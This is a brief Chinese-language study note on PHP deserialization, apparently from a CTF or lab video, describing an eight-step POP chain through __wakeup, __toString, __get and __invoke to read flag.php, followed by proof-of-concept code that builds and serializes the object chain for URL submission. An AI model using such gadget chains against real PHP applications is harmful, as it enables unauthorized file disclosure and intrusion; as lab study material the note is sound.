反序列化視頻筆記
第一步:找到目標觸發echo調用$flag
第二步:觸發_invoke函數調用appeng函數$var=flag.php(把對象當成函數)
第三步:給$p賦值為對象,即function成為對象Modifier卻被當成函數調用,觸發Modifier中的_invoke函數
第四步:觸發get(調用不存在的成員屬性)
第五步:給$str賦值為對象Test中不存在的成員屬性source,則可觸發Test里的成員方法get
第六步:觸發_tostring(把對象當成字符串)
第七步:給source賦值為對象show,當字符串被echo調用觸發_tostring
第八步:反序列化觸發_wakeup。
所以構造poc、
私有屬性$var只能在里面構造$var=flag.php
$mod=new modifier();
$tes=new test();
$tes ->p=$mod;
$show =new show();
$show -> source=$show;
$show ->str=$tes;
echo serialize($show);
記得私有屬性的方塊要變成%00
url提交